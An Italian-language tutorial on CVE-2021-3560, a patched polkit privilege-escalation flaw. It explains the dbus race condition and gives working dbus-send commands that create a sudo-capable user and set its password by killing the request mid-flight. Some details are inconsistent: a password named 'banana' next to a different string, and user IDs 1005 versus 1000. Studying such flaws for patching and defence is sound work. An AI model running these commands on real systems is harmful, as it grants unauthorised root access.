
Sfruttamento della vulnerabilità polkit CVE-2021-3560
Nel 2021, un ricercatore di nome Kevin BackHouse ha scoperto una vulnerabilità di escalazione dei privilegi nell'utilità polkit. Tuttavia, non tutte le versioni di Linux sono vulnerabili a polkit.
Di seguito un esempio di una versione vulnerabile;
Le versioni più moderne di Linux hanno già la correzione di questa vulnerabilità, tuttavia le versioni più vecchie, come menzionato sopra, hanno ancora questa vulnerabilità.
Polkit è un servizio di sistema installato di default su molte distribuzioni Linux. È usato da systemd, quindi qualsiasi distribuzione Linux che usa systemd usa anche polkit.
Polkit è il servizio di sistema che gira dietro le quinte quando vedi una finestra di dialogo, ad esempio;
Se in qualsiasi momento hai bisogno di cambiare privilegi o fare qualcosa che richiede privilegi più elevati, come creare un account utente, Polkit è responsabile di consentire o negare questa azione.
La CVE-2021-3560 consente a un attaccante locale non privilegiato di ottenere privilegi di root. È molto semplice e veloce da sfruttare, quindi è importante aggiornare le tue installazioni Linux il prima possibile. Qualsiasi sistema con polkit versione 0.113 (o successiva) installata è vulnerabile. Questo include distribuzioni popolari come RHEL 8 e Ubuntu 20.04.
Inviando manualmente messaggi dbus al dbus-daemon (in pratica un'API che consente a diversi processi di comunicare tra loro), e poi uccidendo la richiesta prima che sia stata completamente elaborata, possiamo indurre polkit ad autorizzare il comando.
Il dbus-daemon è un programma che gira in background che fa da intermediario tra i messaggi delle applicazioni.
In pratica il replay di questa vulnerabilità viene effettuato seguendo i passaggi seguenti;
L'attaccante invia manualmente un messaggio dbus al accounts-daemon richiedendo la creazione di un nuovo account con permessi sudo (o, successivamente, l'impostazione di una password per il nuovo utente). Questo messaggio riceve un ID univoco dal dbus-daemon.
L'attaccante uccide il messaggio dopo che polkit lo ha ricevuto, ma prima che polkit abbia la possibilità di elaborarlo. Questo di fatto distrugge l'ID univoco del messaggio.
Polkit chiede al dbus-daemon l'ID utente di chi ha inviato il messaggio, facendo riferimento all'ID del messaggio (ora eliminato).
Il dbus-daemon non riesce a trovare l'ID del messaggio perché lo abbiamo ucciso al passaggio due. Gestisce l'errore rispondendo con un codice di errore.
Polkit gestisce male l'errore e sostituisce 0 come ID utente -- cioè l'account root della macchina.
Pensando che l'utente root abbia richiesto l'azione, polkit consente alla richiesta di passare senza ostacoli.
In breve, distruggendo l'ID del messaggio prima che il dbus-daemon abbia la possibilità di dare a polkit l'ID corretto, sfruttiamo la scarsa gestione degli errori in polkit per indurre l'utilità a pensare che la richiesta sia stata fatta dall'onnipotente utente root.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
In questo caso, quando si prova a creare l'utente lucas, riceviamo un messaggio che non abbiamo il permesso (È richiesta l'autenticazione).
Questo comando invia manualmente un messaggio dbus al demone degli account, stampando la risposta e creando un nuovo utente chiamato lucas (string:lucas), con una descrizione di "test vulns" (string:"test vulns") e l'appartenenza al gruppo sudo impostata su true (indicata da int32:1).
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
In questo caso, usiamo lo stesso comando di creazione utente del passaggio 1, ma usiamo la funzione 'time' per restituire il tempo di esecuzione di questo comando.
Questo richiede 0.011 secondi. Questo numero sarà leggermente diverso ogni volta che esegui il comando.
Proviamo. Dobbiamo inviare il messaggio dbus e poi ucciderlo circa a metà:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
Abbiamo inviato il messaggio dbus in un job in background (usando l'e commerciale per mettere il comando in background). Poi gli abbiamo detto di dormire per 0.005 millisecondi, quindi di uccidere il processo precedente ($!). Questo ha creato con successo il nuovo utente, aggiungendolo al gruppo sudo. Dovremmo annotare a questo punto che l'ID utente del nuovo utente in questo caso è 1000.
Usando openssl, generiamo una password di tipo 6 (SHA512-crypt) e la nostra password in chiaro.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
In questo caso stiamo includendo una password (banana) per l'id 1005 che è stato creato nei passaggi precedenti.
Questa vulnerabilità è stata divulgata pubblicamente e la correzione è stata rilasciata il 3 giugno 2021 ed è stata assegnata alla CVE-2021-3560.
Controlla l'aggiornamento della tua macchina con yum/apt update/upgrade.